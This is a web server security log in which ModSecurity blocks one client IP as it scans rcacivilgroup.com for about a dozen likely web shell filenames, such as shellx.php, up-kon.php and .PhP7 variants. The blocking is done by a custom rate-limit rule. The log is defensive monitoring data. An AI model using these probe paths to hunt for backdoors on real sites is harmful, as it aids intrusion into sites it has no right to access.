[Mon Apr 13 03:20:24.407815 2026] [:error] [pid 32010:tid 32028] [client 20.151.218.28:31617] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sure.php"] [unique_id "advweA0nq-t9pXyV1fzCbgAAANA"]
[Mon Apr 13 03:20:24.817592 2026] [:error] [pid 31607:tid 31761] [client 20.151.218.28:31725] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sure.php"] [unique_id "advweGjn_I-KYTWngjJQfgAAAJg"]
[Mon Apr 13 03:20:25.227761 2026] [:error] [pid 31606:tid 31717] [client 20.151.218.28:31729] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoo.php"] [unique_id "advweT9vCsshNhLmCiCQQwAAAEs"]
[Mon Apr 13 03:20:25.639126 2026] [:error] [pid 31607:tid 31747] [client 20.151.218.28:31695] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoo.php"] [unique_id "advweWjn_I-KYTWngjJQgwAAAIo"]
[Mon Apr 13 03:20:26.060395 2026] [:error] [pid 31606:tid 31728] [client 20.151.218.28:31710] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoo.php"] [unique_id "advwej9vCsshNhLmCiCQSAAAAFY"]
[Mon Apr 13 03:20:26.471984 2026] [:error] [pid 31606:tid 31731] [client 20.151.218.28:31707] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zoo.php"] [unique_id "advwej9vCsshNhLmCiCQTQAAAFg"]
[Mon Apr 13 03:20:26.882164 2026] [:error] [pid 31606:tid 31710] [client 20.151.218.28:31630] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4563.php"] [unique_id "advwej9vCsshNhLmCiCQTwAAAEQ"]
[Mon Apr 13 03:20:27.296950 2026] [:error] [pid 32010:tid 32033] [client 20.151.218.28:31641] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4563.php"] [unique_id "advwew0nq-t9pXyV1fzCcwAAANU"]
[Mon Apr 13 03:20:27.709104 2026] [:error] [pid 31607:tid 31746] [client 20.151.218.28:31728] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4563.php"] [unique_id "advwe2jn_I-KYTWngjJQjgAAAIk"]
[Mon Apr 13 03:20:28.123328 2026] [:error] [pid 31606:tid 31713] [client 20.151.218.28:31570] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/4563.php"] [unique_id "advwfD9vCsshNhLmCiCQUgAAAEc"]
[Mon Apr 13 03:20:28.535409 2026] [:error] [pid 31606:tid 31706] [client 20.151.218.28:31742] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wunaivpl.php"] [unique_id "advwfD9vCsshNhLmCiCQVQAAAEA"]
[Mon Apr 13 03:20:28.946867 2026] [:error] [pid 32010:tid 32021] [client 20.151.218.28:31688] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wunaivpl.php"] [unique_id "advwfA0nq-t9pXyV1fzCegAAAMk"]
[Mon Apr 13 03:20:29.357509 2026] [:error] [pid 32010:tid 32019] [client 20.151.218.28:31691] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wunaivpl.php"] [unique_id "advwfQ0nq-t9pXyV1fzCfgAAAMc"]
[Mon Apr 13 03:20:29.773182 2026] [:error] [pid 32010:tid 32026] [client 20.151.218.28:31694] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wunaivpl.php"] [unique_id "advwfQ0nq-t9pXyV1fzCgwAAAM4"]
[Mon Apr 13 03:20:30.183539 2026] [:error] [pid 54671:tid 54688] [client 20.151.218.28:31699] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/reune.php"] [unique_id "advwfmyJMmaONUqF0tCxUQAAAQ0"]
[Mon Apr 13 03:20:30.594367 2026] [:error] [pid 31607:tid 31739] [client 20.151.218.28:31713] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/reune.php"] [unique_id "advwfmjn_I-KYTWngjJQkAAAAII"]
[Mon Apr 13 03:20:31.004099 2026] [:error] [pid 54671:tid 54694] [client 20.151.218.28:31666] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/reune.php"] [unique_id "advwf2yJMmaONUqF0tCxVQAAARM"]
[Mon Apr 13 03:20:31.413639 2026] [:error] [pid 31607:tid 31757] [client 20.151.218.28:31740] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/reune.php"] [unique_id "advwf2jn_I-KYTWngjJQkQAAAJQ"]
[Mon Apr 13 03:20:31.824623 2026] [:error] [pid 31607:tid 31741] [client 20.151.218.28:31681] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dw.php"] [unique_id "advwf2jn_I-KYTWngjJQkwAAAIQ"]
[Mon Apr 13 03:20:32.235923 2026] [:error] [pid 54671:tid 54692] [client 20.151.218.28:31567] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dw.php"] [unique_id "advwgGyJMmaONUqF0tCxXQAAARE"]
[Mon Apr 13 03:20:32.645176 2026] [:error] [pid 31606:tid 31729] [client 20.151.218.28:31704] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dw.php"] [unique_id "advwgD9vCsshNhLmCiCQWgAAAFc"]
[Mon Apr 13 03:20:33.057378 2026] [:error] [pid 31607:tid 31756] [client 20.151.218.28:31739] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dw.php"] [unique_id "advwgWjn_I-KYTWngjJQnAAAAJM"]
[Mon Apr 13 03:20:33.468186 2026] [:error] [pid 31605:tid 31646] [client 20.151.218.28:31687] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi001.PhP7"] [unique_id "advwgW9Py-Y-9VQ02eHh9QAAAAM"]
[Mon Apr 13 03:20:33.879367 2026] [:error] [pid 31607:tid 31760] [client 20.151.218.28:31705] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi001.PhP7"] [unique_id "advwgWjn_I-KYTWngjJQngAAAJc"]
[Mon Apr 13 03:20:34.291646 2026] [:error] [pid 54671:tid 54675] [client 20.151.218.28:31698] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi001.PhP7"] [unique_id "advwgmyJMmaONUqF0tCxYgAAAQA"]
[Mon Apr 13 03:20:34.703400 2026] [:error] [pid 32010:tid 32033] [client 20.151.218.28:31669] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi001.PhP7"] [unique_id "advwgg0nq-t9pXyV1fzCjgAAANU"]
[Mon Apr 13 03:20:35.112845 2026] [:error] [pid 32010:tid 32018] [client 20.151.218.28:31732] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellx.php"] [unique_id "advwgw0nq-t9pXyV1fzCkQAAAMY"]
[Mon Apr 13 03:20:35.522569 2026] [:error] [pid 32010:tid 32028] [client 20.151.218.28:31700] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellx.php"] [unique_id "advwgw0nq-t9pXyV1fzClwAAANA"]
[Mon Apr 13 03:20:35.945748 2026] [:error] [pid 54671:tid 54693] [client 20.151.218.28:31661] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellx.php"] [unique_id "advwg2yJMmaONUqF0tCxaAAAARI"]
[Mon Apr 13 03:20:36.355669 2026] [:error] [pid 31607:tid 31748] [client 20.151.218.28:31721] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shellx.php"] [unique_id "advwhGjn_I-KYTWngjJQoQAAAIs"]
[Mon Apr 13 03:20:36.765840 2026] [:error] [pid 31607:tid 31743] [client 20.151.218.28:31738] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/l.php"] [unique_id "advwhGjn_I-KYTWngjJQowAAAIY"]
[Mon Apr 13 03:20:37.176442 2026] [:error] [pid 31605:tid 31651] [client 20.151.218.28:31693] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/l.php"] [unique_id "advwhW9Py-Y-9VQ02eHh_AAAAAg"]
[Mon Apr 13 03:20:37.587868 2026] [:error] [pid 32010:tid 32016] [client 20.151.218.28:31632] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/l.php"] [unique_id "advwhQ0nq-t9pXyV1fzCngAAAMQ"]
[Mon Apr 13 03:20:37.999688 2026] [:error] [pid 31605:tid 31659] [client 20.151.218.28:31628] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/l.php"] [unique_id "advwhW9Py-Y-9VQ02eHh_wAAABA"]
[Mon Apr 13 03:20:38.410203 2026] [:error] [pid 31606:tid 31724] [client 20.151.218.28:31627] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "advwhj9vCsshNhLmCiCQYgAAAFI"]
[Mon Apr 13 03:20:38.820246 2026] [:error] [pid 32010:tid 32032] [client 20.151.218.28:31660] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "advwhg0nq-t9pXyV1fzCogAAANQ"]
[Mon Apr 13 03:20:39.250136 2026] [:error] [pid 32010:tid 32028] [client 20.151.218.28:31653] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "advwhw0nq-t9pXyV1fzCpgAAANA"]
[Mon Apr 13 03:20:39.660925 2026] [:error] [pid 31605:tid 31663] [client 20.151.218.28:31711] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mode.php"] [unique_id "advwh29Py-Y-9VQ02eHiAQAAABQ"]
[Mon Apr 13 03:20:40.071139 2026] [:error] [pid 54671:tid 54694] [client 20.151.218.28:31616] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lnexugel.php"] [unique_id "advwiGyJMmaONUqF0tCxegAAARM"]
[Mon Apr 13 03:20:40.481659 2026] [:error] [pid 31605:tid 31658] [client 20.151.218.28:31731] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lnexugel.php"] [unique_id "advwiG9Py-Y-9VQ02eHiAwAAAA8"]
[Mon Apr 13 03:20:40.910118 2026] [:error] [pid 31606:tid 31714] [client 20.151.218.28:31556] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lnexugel.php"] [unique_id "advwiD9vCsshNhLmCiCQZgAAAEg"]
[Mon Apr 13 03:20:41.321001 2026] [:error] [pid 31605:tid 31655] [client 20.151.218.28:31723] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lnexugel.php"] [unique_id "advwiW9Py-Y-9VQ02eHiBAAAAAw"]
[Mon Apr 13 03:20:41.732429 2026] [:error] [pid 31605:tid 31662] [client 20.151.218.28:31619] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/online.php"] [unique_id "advwiW9Py-Y-9VQ02eHiBQAAABM"]
[Mon Apr 13 03:20:42.145009 2026] [:error] [pid 54671:tid 54677] [client 20.151.218.28:31737] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/online.php"] [unique_id "advwimyJMmaONUqF0tCxggAAAQI"]
[Mon Apr 13 03:20:42.555407 2026] [:error] [pid 31605:tid 31647] [client 20.151.218.28:31672] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/online.php"] [unique_id "advwim9Py-Y-9VQ02eHiBwAAAAQ"]
[Mon Apr 13 03:20:42.964707 2026] [:error] [pid 31606:tid 31729] [client 20.151.218.28:31564] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/online.php"] [unique_id "advwij9vCsshNhLmCiCQawAAAFc"]
[Mon Apr 13 03:20:43.373537 2026] [:error] [pid 32010:tid 32023] [client 20.151.218.28:31623] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up-kon.php"] [unique_id "advwiw0nq-t9pXyV1fzCsAAAAMs"]
[Mon Apr 13 03:20:43.784706 2026] [:error] [pid 32010:tid 32024] [client 20.151.218.28:31656] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up-kon.php"] [unique_id "advwiw0nq-t9pXyV1fzCsgAAAMw"]
[Mon Apr 13 03:20:44.195326 2026] [:error] [pid 54671:tid 54688] [client 20.151.218.28:31724] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up-kon.php"] [unique_id "advwjGyJMmaONUqF0tCxjQAAAQ0"]
[Mon Apr 13 03:20:44.605518 2026] [:error] [pid 31607:tid 31737] [client 20.151.218.28:31554] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up-kon.php"] [unique_id "advwjGjn_I-KYTWngjJQqAAAAIA"]
[Mon Apr 13 03:20:45.015179 2026] [:error] [pid 31605:tid 31666] [client 20.151.218.28:31702] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/word.php"] [unique_id "advwjW9Py-Y-9VQ02eHiCwAAABc"]
[Mon Apr 13 03:20:45.427801 2026] [:error] [pid 31606:tid 31707] [client 20.151.218.28:31637] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/word.php"] [unique_id "advwjT9vCsshNhLmCiCQbQAAAEE"]
[Mon Apr 13 03:20:45.838076 2026] [:error] [pid 31606:tid 31721] [client 20.151.218.28:31675] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/word.php"] [unique_id "advwjT9vCsshNhLmCiCQcAAAAE8"]
[Mon Apr 13 03:20:46.249046 2026] [:error] [pid 31605:tid 31663] [client 20.151.218.28:31718] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/word.php"] [unique_id "advwjm9Py-Y-9VQ02eHiEwAAABQ"]
[Mon Apr 13 03:20:46.658627 2026] [:error] [pid 31606:tid 31718] [client 20.151.218.28:31579] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/retu11.PhP7"] [unique_id "advwjj9vCsshNhLmCiCQcgAAAEw"]
[Mon Apr 13 03:20:47.074120 2026] [:error] [pid 54671:tid 54689] [client 20.151.218.28:31645] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/retu11.PhP7"] [unique_id "advwj2yJMmaONUqF0tCxlQAAAQ4"]
